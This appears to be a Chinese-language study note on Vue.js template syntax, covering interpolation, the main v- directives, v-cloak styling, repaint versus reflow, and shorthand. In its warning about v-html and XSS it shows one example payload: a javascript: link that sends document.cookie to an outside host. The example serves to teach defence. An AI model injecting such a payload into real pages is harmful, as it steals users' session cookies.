(1) 插值
a.文本 {{ }}
b.纯HTML
v-html慎用 ,防止XSS,CSRF(
(1) 前端过滤 (前端采用正则将容易注入的字符<等过滤掉)
(2) 后台转义( < > 换成 < > )
)
<a href=javascript:location.href='http://www.baidu.com?
cookie='+document.cookie>click</a>
c.表达式
(2) 指令
是带有 v- 前缀的特殊属性
- v-bind 动态绑定属性
- v-if 动态创建/删除
- v-show 动态显示/隐藏
- v-on:click 绑定事件
- v-for 遍历
- v-model 双向绑定表单
- v-cloak 防止表达式闪烁
注:
v-cloak
给模板内的元素添加v-cloak属性后,元素在vue没有加载完的时候就有这个属性,当vue加载完成后这个属性就消失了,所以我们可以给这个属性设置css样式为隐藏
<style>
[v-cloak]{
display:none
}
</style>
visibility:hidden 元素消失了 但后续的元素还是保持不变,不会破坏文档流结构 ===> 产生了重绘了 (repaint)
display:none 让元素消失了 后续的元素会占据消失元素的位置,破坏文档流结构 ===> 产生了回流了(reflow)
v-text/v-html
v-text会指定将模板内元素的textContent属性替换为指令值所代表的数据
v-html可以解析标签,更改元素的innerHTML,性能比v-text较差
v-pre
跳过元素和其子元素的编译过程,可以用来显示mustache
(3) 缩写
v-bind:src => :src
v-on:click => @click